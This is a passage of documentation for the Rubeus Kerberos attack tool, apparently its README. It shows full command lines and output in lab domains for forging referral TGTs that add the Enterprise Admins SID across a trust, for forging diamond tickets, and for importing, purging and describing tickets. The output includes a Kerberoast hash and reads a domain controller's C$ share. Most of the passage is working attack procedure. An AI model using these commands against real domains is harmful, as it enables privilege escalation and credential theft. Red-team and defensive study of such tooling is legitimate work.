[\*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSTEM

[\*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully mounted

[\*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSTEM

[\*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully unmounted

[\*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local

[\*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=\*)(dnsroot=rubeus.ghos

[\*] Building PAC

[\*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)

[\*] SID : S-1-5-21-3237111427-1607930709-3979055039

[\*] UserId : 1104

[\*] Groups : 513

[\*] ServiceKey : 856A1023055848748E7B9D505EBE0E02

[\*] ServiceKeyType : KERB\_CHECKSUM\_HMAC\_MD5

[\*] KDCKey : 856A1023055848748E7B9D505EBE0E02

[\*] KDCKeyType : KERB\_CHECKSUM\_HMAC\_MD5

[\*] Service : krbtgt

[\*] Target : dev.rubeus.ghostpack.local

[\*] Generating EncTicketPart

[\*] Signing PAC

[\*] Encrypting EncTicketPart

[\*] Generating Ticket

[\*] Generated KERB-CRED

[\*] Forged a TGT for 'exploitph@rubeus.ghostpack.local'

[\*] AuthTime : 29/07/2021 02:45:54

[\*] StartTime : 29/07/2021 02:45:54

[\*] EndTime : 29/07/2021 12:45:54

[\*] RenewTill : 05/08/2021 02:45:54

[\*] base64(ticket.kirbi):

doIFojCCBz6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIIEcqADAgEFoRgblFJVQkVVUy5HSE9TVFB8Q0su

...(snip)...

LmxvY2Fs

This ticket can then be used to request service tickets on the trusting domain using `asktgs` :

```
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local
```

```
-----
(____ \    | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_|
| | \ \ | | | | |_) ) ____| | | |__ |
|_|  |_|____/|____/|____)____/____/
```

v2.0.0

[\*] Action: Ask TGS

[\*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)

[\*] Requesting default etypes (RC4\_HMAC, AES[128/256]\_CTS\_HMAC\_SHA1) for the service ticket

[\*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'

[+] TGS request successful!

[\*] base64(ticket.kirbi):

```
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
... (snip) ...
ZXVzLmdob3N0cGFjay5sb2NhbA==
```

```
ServiceName      : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm     : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName         : exploitph
UserRealm        : RUBEUS.GHOSTPACK.LOCAL
StartTime        : 29/07/2021 02:51:05
EndTime          : 29/07/2021 12:45:54
RenewTill        : 05/08/2021 02:45:54
Flags            : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType          : aes256_cts_hmac_sha1
Base64(key)      : v1Bnp3p1KCePeRpg1hrtYkI7bPDK6vw5uoj5MBNSThw=
```

Forge a referral TGT for [dev.ccob@dev.rubeus.ghostpack.local](mailto:dev.ccob@dev.rubeus.ghostpack.local) for the parent domain **rubeus.ghostpack.local** and include the SID of the Enterprise Admins group:

```
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e
```

```
-----
(____ \    | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_|
| | \ \ | | | | |_) ) ____| | | |__ |
|_|  |_|____/|____/|____)____/____/
```

v2.0.0

[\*] Action: Build TGS

[\*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local

[\*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'

[\*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local

[\*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-22'

[\*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSTEM

[\*] \\devdc1.dev.rubeus.ghostpack.local\SYSTEM successfully mounted

[\*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSTEM

[\*] \\devdc1.dev.rubeus.ghostpack.local\SYSTEM successfully unmounted

[\*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local

[\*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=\*)(dnsroot=dev.rubeus.

[\*] Building PAC

[\*] Domain : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)

[\*] SID : S-1-5-21-2065789546-4129202522-221898516

[\*] UserId : 1107

[\*] Groups : 513

[\*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519

[\*] ServiceKey : 856A1023055848748E7B9D505EBE0E02

[\*] ServiceKeyType : KERB\_CHECKSUM\_HMAC\_MD5

[\*] KDCKey : 856A1023055848748E7B9D505EBE0E02

[\*] KDCKeyType : KERB\_CHECKSUM\_HMAC\_MD5

[\*] Service : krbtgt

[\*] Target : rubeus.ghostpack.local

[\*] Generating EncTicketPart

[\*] Signing PAC

[\*] Encrypting EncTicketPart

[\*] Generating Ticket

[\*] Generated KERB-CRED

[\*] Forged a TGT for 'dev.ccob@dev.rubeus.ghostpack.local'

[\*] AuthTime : 29/07/2021 03:03:34

[\*] StartTime : 29/07/2021 03:03:34

[\*] EndTime : 29/07/2021 13:03:34

[\*] RenewTill : 05/08/2021 03:03:34

[\*] base64(ticket.kirbi):

doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hpPU1RQ

...(snip)...

G9zdHBhY2subG9jYWw=

This referral TGT can then be used to request service tickets for services in **rubeus.ghostpack.local** using the [asktgs](#) command and gain the privileges of the Enterprise Admins group:

```
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /tic

-----
(____ \    | |
-----) )_  _| |__ -----
|  _ /| | | | _ \| ___ | | | |/_/___)
| | \ \ | | | | | ) ) ___| | | |___ |
|_|  | |___/|___/|____)____/(____/

v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

doIF9zCCBf0gAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgBF1JVQkVVUy5HSE9TVFBBQ0su
... (snip) ...
ZnMbG3BkYzEucnVizXVzLmdob3N0cGFjay5sb2NhbA==

ServiceName      : cifs/pdc1.rubeus.ghostpack.local
ServiceRealm     : RUBEUS.GHOSTPACK.LOCAL
UserName         : dev.ccob
UserRealm        : DEV.RUBEUS.GHOSTPACK.LOCAL
StartTime        : 29/07/2021 03:04:26
EndTime          : 29/07/2021 13:03:34
RenewTill        : 05/08/2021 03:03:34
Flags            : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType          : aes256_cts_hmac_sha1
Base64(key)      : 1QGdcWT5/cacHGFko3fDJvF9poFK+tH5hctLDN89peY=

C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 3C5F-0EF1

Directory of \\pdc1.rubeus.ghostpack.local\c$

30/06/2021 02:13 <DIR> inetpub
```

```

15/09/2018 08:19 <DIR> PerfLogs
09/06/2021 17:45 <DIR> Program Files
09/06/2021 17:45 <DIR> Program Files (x86)
14/07/2021 01:18 <DIR> Rubeus
19/07/2021 20:48 <DIR> temp
30/06/2021 02:14 <DIR> Users
14/07/2021 02:17 <DIR> Windows
          0 File(s)          0 bytes
          8 Dir(s) 94,901,772,288 bytes free
    
```

## diamond

The **diamond** action will forge a diamond TGT by modifying a TGT requested for a user using the given arguments. First a TGT will be requested for the specified user and encryption key ( `/rc4` , `/aes128` , `/aes256` , or `/des` ). A `/password` flag can also be used instead of a hash - in this case `/enctype:X` will default to RC4 for the exchange, with `des|aes128|aes256` as options. Alternatively, PKINIT authentication is supported with the `/certificate:X` argument. When the private key within the PFX file is password protected, this password can be passed with the `/password:X` argument. Lastly, the `/tgtdeleg` flag can be passed to request a TGT using the `tgtdeleg` trick. The `/krbkey:X` argument is used to decrypt the ticket, resign it after the changes have been made, and reencrypt the ticket.

If no `/domain` is specified, the computer's current domain is extracted, and if no `/dc` is specified the same is done for the system's current domain controller. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.

Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the `/ptt` option. A workaround is to use the `/createnetonly:C:\X.exe` parameter (which hides the process by default unless the `/show` flag is specified), or request the ticket and apply it to another logon session with `ptt /luid:0xA..`

The `/ticketuser:X` argument is used to specify the username to be used within the modified ticket, `/ticketuserid:#` to specify the user's RID, `/groups:RID1,RID2...` to specify the groups for the ticket and `/sids:SID1,SID2...` to specify the SIDs to be included in the ExtraSIDs field.

Creating a diamond TGT using a username and password:

```
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:lol
```

```

-----
(____ \   | |
-----) )_  | |__ -----
| __ /| | | | _ \ ___ | | | /____)
    
```

```
| | \ \ | | | | ) _ _ _ | | | _ _ |
| | | | _ _ _ / | _ _ _ / | _ _ _ ) _ _ _ / ( _ _ /
```

v2.1.1

[\*] Action: Diamond Ticket

[\*] Using domain controller: earth-dc.marvel.local (10.1.1.11)

[!] Pre-Authentication required!

[!] AES256 Salt: MARVEL.LOCALloki

[\*] Using aes256\_cts\_hmac\_sha1 hash: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7

[\*] Building AS-REQ (w/ preauth) for: 'marvel.local\loki'

[\*] Using domain controller: 10.1.1.11:88

[+] TGT request successful!

[\*] base64(ticket.kirbi):

```
doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BULZFTC5MT0NBTKIhMB+g
... (snip) ...
oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=
```

[\*] Decrypting TGT

[\*] Retrieving PAC

[\*] Modifying PAC

[\*] Signing PAC

[\*] Encrypting Modified TGT

[\*] base64(ticket.kirbi):

```
doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIIEZ6ADAgEFoQ4bDE1BULZFTC5MT0NBTKIhMB+g
... (snip) ...
ULZFTC5MT0NBTA==
```

### Creating a diamond TGT using the tgtdeleg trick:

```
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /tgtdeleg
```

```
-----
(____ \    | |
-----) )_  | | _ _ _ _ _ _ _ _
| _ _ / | | | | _ \ | _ _ | | | / _ _ )
| | \ \ | | | | ) _ _ _ | | | _ _ |
| | | | _ _ _ / | _ _ _ / | _ _ _ ) _ _ _ / ( _ _ /
```

v2.1.1

[\*] Action: Diamond Ticket

```
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/Earth-DC.marvel.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: imNrWVWRhLB61dUk5EWEdQL7DgqBQ/UckUs9pBvw6JU-
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFejCCBXagAwIBBaEDAgEwoOIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTc5MT0NBTKIhMB+g
... (snip) ...
oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=

[*] Decrypting TGT
[*] Retrieving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT

[*] base64(ticket.kirbi):

doIFajCCBWagAwIBBaEDAgEwoOIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTc5MT0NBTKIhMB+g
... (snip) ...
UlZFTc5MT0NBTA==
```

## Ticket Management

Breakdown of the ticket management commands:

Command	Description
<a href="#">ptt</a>	Apply a ticket to the current (or specified) logon session
<a href="#">purge</a>	Purge the current (or specified) logon session of Kerberos tickets
<a href="#">describe</a>	Describe a ticket base64 blob or .kirbi file

### ptt

The **ptt** action will submit a `/ticket:X` (TGT or service ticket) for the current logon session through the `LsaCallAuthenticationPackage()` API with a `KERB_SUBMIT_TKT_REQUEST` message, or (**if elevated**) to the logon session specified by `/luid:0xA...`. Like other `/ticket:X` parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.

```
C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
```

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
|  _ /| | | | - \| ___ | | | |/_ ___)
| | \ \ | | | | | )  ___| | | |___ |
|_|  | |___/|___/|___)___/(___/

```

v1.3.3

```

[*] Action: Import Ticket
[+] Ticket successfully imported!

```

```
C:\Rubeus>Rubeus.exe klist
```

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
|  _ /| | | | - \| ___ | | | |/_ ___)
| | \ \ | | | | | )  ___| | | |___ |
|_|  | |___/|___/|___)___/(___/

```

v1.3.3

```

[*] Action: List Kerberos Tickets (Current User)

[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name       : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name       : dfm.a @ TESTLAB.LOCAL
Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

```

**Elevated** ticket application to another logon session:

```
C:\Rubeus>Rubeus.exe klist /luid:0x474722b
```

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
|  _ /| | | | - \| ___ | | | |/_ ___)
| | \ \ | | | | | )  ___| | | |___ |
|_|  | |___/|___/|___)___/(___/

```

v1.3.3

[\*] Action: List Kerberos Tickets (All Users)

[\*] Target LUID : 0x474722b

```

UserName          : patsy
Domain            : TESTLAB
LogonId           : 0x474722b
UserSID           : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage : Kerberos
LogonType         : Interactive
LogonTime         : 2/11/2019 10:58:53 PM
LogonServer       : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : patsy@testlab.local

```

```

[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:58:53 PM ; 2/11/2019 7:58:53 PM ; 2/18/2019 2:58:53 PM
Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name       : patsy @ TESTLAB.LOCAL
Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

```

C:\Rubeus>Rubeus.exe ptt /luid:0x474722b /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..

```

-----
(____ \    | |
____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | | /____)
| | \ \ | | | | | ) ____| | | | ___ |
|_|  | |____/|____/|____)____/(____/

```

v1.3.3

```

[*] Action: Import Ticket
[*] Target LUID: 0x474722b
[+] Ticket successfully imported!

```

C:\Rubeus>Rubeus.exe klist /luid:0x474722b

```

-----
(____ \    | |

```

```

-----) )_ _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_
| | \ \ | | | | ) ) ___| | | |___ |
|_| | | |___/|___/|___)___/(___/

```

v1.3.3

[\*] Action: List Kerberos Tickets (All Users)

[\*] Target LUID : 0x474722b

```

UserName          : patsy
Domain            : TESTLAB
LogonId           : 0x474722b
UserSID           : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage : Kerberos
LogonType         : Interactive
LogonTime        : 2/11/2019 10:58:53 PM
LogonServer      : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : patsy@testlab.local

```

```

[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name       : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name      : dfm.a @ TESTLAB.LOCAL
Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

```

## purge

The **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by `/luid:0xA...`.

```
C:\Rubeus>Rubeus.exe klist
```

```

----- -
(____ \   | |
-----) )_ _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_
| | \ \ | | | | ) ) ___| | | |___ |
|_| | | |___/|___/|___)___/(___/

```

v1.3.3

[\*] Action: List Kerberos Tickets (Current User)

```

[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name      : harmj0y @ TESTLAB.LOCAL
Flags            : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)

[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name      : harmj0y @ TESTLAB.LOCAL
Flags            : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

[2] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name      : harmj0y @ TESTLAB.LOCAL
Flags            : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

```

C:\Rubeus>Rubeus.exe purge

```

-----
(____ \    | |
____) )_  | |__ ----- - - ____
| __ /| | | | _ \| ___ | | | | /____)
| | \ \ | | | | | ) ____| | | | ____ |
|_|  | |____/|____/|____)____/(____/

```

v1.3.3

Luid: 0x0

[\*] Action: Purge Tickets  
 [+] Tickets successfully purged!

C:\Rubeus>Rubeus.exe klist

```

-----
(____ \    | |
____) )_  | |__ ----- - - ____
| __ /| | | | _ \| ___ | | | | /____)
| | \ \ | | | | | ) ____| | | | ____ |
|_|  | |____/|____/|____)____/(____/

```

v1.3.3

[\*] Action: List Kerberos Tickets (Current User)

C:\Rubeus>

**Elevated** purging of another logon session:

C:\Rubeus>Rubeus.exe triage /luid:0x474722b

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|____)___/(___/
```

v1.3.3

[\*] Action: Triage Kerberos Tickets

[\*] Target LUID : 0x474722b

```
-----
```

LUID	UserName	Service	EndTime
0x474722b	dfm.a @ TESTLAB.LOCAL	krbtgt/testlab.local	2/11/2019 7:55:18 PM

```
-----
```

C:\Rubeus>Rubeus.exe purge /luid:0x474722b

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|____)___/(___/
```

v1.3.3

```

Luid: 0x474722b

[*] Action: Purge Tickets
[*] Target LUID: 0x474722b
[+] Tickets successfully purged!

C:\Rubeus>Rubeus.exe triage /luid:0x474722b

-----
(____ \    | |
_____) )_  | |__ ----- - - ___
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |____/|____/|_____)____/(____/

v1.3.3

[*] Action: Triage Kerberos Tickets

[*] Target LUID      : 0x474722b

-----
| LUID | UserName | Service | EndTime |
-----
-----

```

**describe**

The **describe** action takes a `/ticket:X` value (TGT or service ticket), parses it, and describes the values of the ticket. Like other `/ticket:X` parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.

If the supplied ticket is a service ticket AND the encryption type is RC4\_HMAC, an extracted Kerberoast-compatible hash is output. If the ticket is a service ticket but the encryption key is AES128/AES256, a warning is displayed. If the ticket is a TGT, no hash or warning is displayed.

The EncTicketPart (encrypted section of the ticket) can be decrypted using the `/servicekey:X` argument, this will also verify the ServerChecksum within the PAC. The `/krbkey:X` argument can also be used for service tickets to verify the KDCChecksum and TicketChecksum (if it exists).

By passing the `/serviceuser:X` argument (and `/servicedomain:X` is required), an crackable "hash" can be formed from an AES256 encrypted ticket service ticket.

Display information about a TGT:

```
C:\Rubeus>Rubeus.exe describe /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
```

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_ __)
| | \ \ | | | | ) ) ___| | | |___ |
|_|  | |___/|___/|____)___/(___/

```

v1.3.3

[\*] Action: Describe Ticket

```

UserName       : dfm.a
UserRealm      : TESTLAB.LOCAL
ServiceName    : krbtgt/testlab.local
ServiceRealm   : TESTLAB.LOCAL
StartTime     : 2/11/2019 2:55:18 PM
EndTime       : 2/11/2019 7:55:18 PM
RenewTill     : 2/18/2019 2:55:18 PM
Flags         : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType       : rc4_hmac
Base64(key)   : e3Mxr1Tu9jHh9hG43UfiAQ==

```

Display information about service ticket with an extracted Kerberoast "hash":

```
C:\Rubeus>Rubeus.exe describe /ticket:service_ticket.kirbi
```

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_ __)
| | \ \ | | | | ) ) ___| | | |___ |
|_|  | |___/|___/|____)___/(___/

```

v1.4.1

[\*] Action: Describe Ticket

```

UserName       : harmj0y
UserRealm      : TESTLAB.LOCAL
ServiceName    : asdf/asdfasdf
ServiceRealm   : TESTLAB.LOCAL
StartTime     : 2/20/2019 8:58:14 AM

```

```

EndTime           : 2/20/2019 12:41:09 PM
RenewTill         : 2/27/2019 7:41:09 AM
Flags             : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType           : rc4_hmac
Base64(key)       : WqGwK4htp7rM1CURpxjMPA==
Kerberoast Hash   : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$DEB467BF9C9023E...(snip)...
    
```

Display information about a TGT along with the decrypted PAC:

```
C:\Rubeus>Rubeus.exe describe /servicekey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /tic
```

```

-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \ |__ | | | /____)
| | \ \ | | | | |_) ) ____ | | | ____ |
|_|  | |____/|____/|____)____/____/
    
```

v2.0.0

[\*] Action: Describe Ticket

```

ServiceName       : krbtgt/rubeus.ghostpack.local
ServiceRealm      : RUBEUS.GHOSTPACK.LOCAL
UserName          : exploitph
UserRealm         : RUBEUS.GHOSTPACK.LOCAL
StartTime         : 28/07/2021 21:25:45
EndTime           : 29/07/2021 07:25:45
RenewTill         : 04/08/2021 21:25:45
Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType           : rc4_hmac
Base64(key)       : Gcf0pE1AVgbbmtSRqJbf9A==
Decrypted PAC     :
  LogonInfo       :
    LogonTime     : 20/07/2021 22:10:22
    LogoffTime    :
    KickOffTime   :
    PasswordLastSet : 14/07/2021 00:50:44
    PasswordCanChange : 15/07/2021 00:50:44
    PasswordMustChange :
    EffectiveName  : exploitph
    FullName       : Exploit PH
    LogonScript    :
    ProfilePath    :
    
```

```

HomeDirectory      :
HomeDirectoryDrive :
LogonCount         : 11
BadPasswordCount   : 0
UserId            : 1104
PrimaryGroupId     : 513
GroupCount         : 1
Groups            : 513
UserFlags          : (32) EXTRA_SIDS
UserSessionKey     : 0000000000000000
LogonServer        : PDC1
LogonDomainName    : RUBEUS
LogonDomainId      : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (262672) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
ExtraSIDCount      : 1
ExtraSIDs          : S-1-18-1
ResourceGroupCount : 0
ClientName         :
Client Id          : 28/07/2021 21:25:45
Client Name        : exploitph
UpnDns            :
DNS Domain Name    : RUBEUS.GHOSTPACK.LOCAL
UPN                : exploitph@rubeus.ghostpack.local
Flags              : 0
ServerChecksum     :
Signature Type     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature          : DC220C13C97C5723456DADE2 (VALID)
KDCChecksum        :
Signature Type     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature          : 32C03715F0B11E3D2EDA3D05 (VALID)

```

Displaying information about an AES256 encrypted service ticket with an extracted Kerberoast "hash":

```
C:\Rubeus>Rubeus.exe describe /serviceuser:exploitph /ticket:doIFSjCCB...(snip)...Vyb2FzdBsCbWU=
```

```

-----
(____ \   | |
____) )_  | |__ -----
| __ /| | | | _ \ | | | | /____)
| | \ \ | | | | | ) ____ | | | ____ |
|_|  | |____/|____/|____)____/(____/

```

v2.0.0

[\*] Action: Describe Ticket

```

ServiceName      : roast/me
ServiceRealm    : RUBEUS.GHOSTPACK.LOCAL
UserName        : harmj0y
UserRealm       : RUBEUS.GHOSTPACK.LOCAL
StartTime       : 28/07/2021 21:31:57
EndTime         : 29/07/2021 07:31:20
RenewTill       : 04/08/2021 21:31:20
Flags           : name_canonicalize, pre_authent, renewable
KeyType         : aes256_cts_hmac_sha1
Base64(key)     : T+hp0dnrvvLhnSwup/O/DmYYY3CXVP4kN/Hq5qWwKq=
Kerberoast Hash : $krb5tgs$18$exploitph$RUBEUS.GHOSTPACK.LOCAL$*roast/me*$1063B9C2E8BAB76E5051F5DE
                 $CD5F3403552BD882CBC52389C9851EFD9B7B72174CCA44876DD4E2958FE807B2A899EE33279835D
                 01BEF12B6FE65174B4BF7B6A5062F45DDBEDA76CF2B122579194B3F1CF3192F982EFE5109B4FF644
                 FDE4D4A170551B764A699DC4DB3535AE937E24D8D5EF0C980C98D115A6707A1F2583FAAB76FD4514
                 6957453FAAD213EF28ACED98E72CC909FCC8CB0FD904DE71607BB1C25163EC9512996057CB34950F
                 40480CABC5CA812B06E461FF3ECAE62022D7BA3500B506AF9BCD557DB987D565FEC8583E5C093AB5
                 AF7387930AE3DB0C4197DB75988D0785E90B1C799C1245CBC891BEC5008BFED99A8042214300440
                 4846C3296A721B546428CA71640B2BDD730ADEDBE6217C572288D904E5F64843148EF30BED8F62A7
                 A038B770DDD787BBDDCCBC4BF63EAC4C18E596F9A1C21B3265C1D402E84547B5491E4FE8E9B05E10
                 606773DA47C2570B7B191AE2648C0C467ED242F86C2DC5BD90D5E07D5C3DAACCC917E796E5ACB416B
                 8D980AC30D300016556AEF064DC6C0822D6EAEF41EC5C376E46BE54AB685959BDEDF0D15F87AD07
                 14F8999503F6DEEDC5F1798D7F82FB4A068D1C44A761C44589EAF7E17D4C855893A8C71B2FE309EB
                 2FE87D36429CF0CA9AA3B02C981F2E6900D0B887EBF1438B3D084963D5AD6B06894A49D3BFED4A19
                 5CA0A544A6E73B46E85C0B5E6F7230884E44B265A48CB5EFF3EC699B63DF4C5241FC11F2E74953CF
                 DD610C9B3137CD15C716E538F42464A37D2B5F719B6FD0D783509B503E68F46F1FE0E03D12B97B79
                 6EFB104E093F625894C59BC025273CF0F0B1EF975FF9584AEE227E27304DE545C71B367BEF2EF6DA
                 22CFF2940387DEA77446B84AC436C7FD273C04247D67334A8D2F2729DE88287BB270D0F495F8EA50
                 126EA94E7417A4191D080A7284FF2736C704A03EF7F7A044A6E357972A7BAC56AD3775C110A10954
                 0656CB6759BB61B47B7FF5545A97735279CDB281F632DAD91047FBEC3E98F8B5BC10CA4FFE446186
                 67BC174CFE97E2262EE8E4651AB460AB2E9A1B214566969FE30BC9A2EEA2BBC79E1ABDBB5A6E8BB6
                 0EF60EB33DCA0F50682DAB8A2F4AE863F83AD928E8D977AA2079706827B78A0CF37FA2D62EAD3A14
                 70625022335458E0E84C11786E9A84CAB5A136777B9E8293142D62D96DF9E04ACE6839E13CC54CA
                 B2B7F5752F8CE9544D7076960CCD7D26C8A0E8E9C879A11A44D2BCC607CE15862E29361C786C095C
                 1EA55D7BD277E581E2488BD3FA4B8E09C331A1E7E3C4BE1C745B59E710362F8EEE9578EF9E5FB34F
                 AAA63C3D7D85000A84A29831B01BD0F4239263FDF59621E57CEE718B29AA2561857C4CD8020AF057
                 AB5AC097DA90E9B15F6C881F47D95A9F9C15B60EE0B821FDDEB3A9AD4D71E
    
```

## Ticket Extraction and Harvesting

Breakdown of the ticket extraction/harvesting commands:

Command	Description
<a href="#">triage</a>	LUID, username, service target, ticket expiration
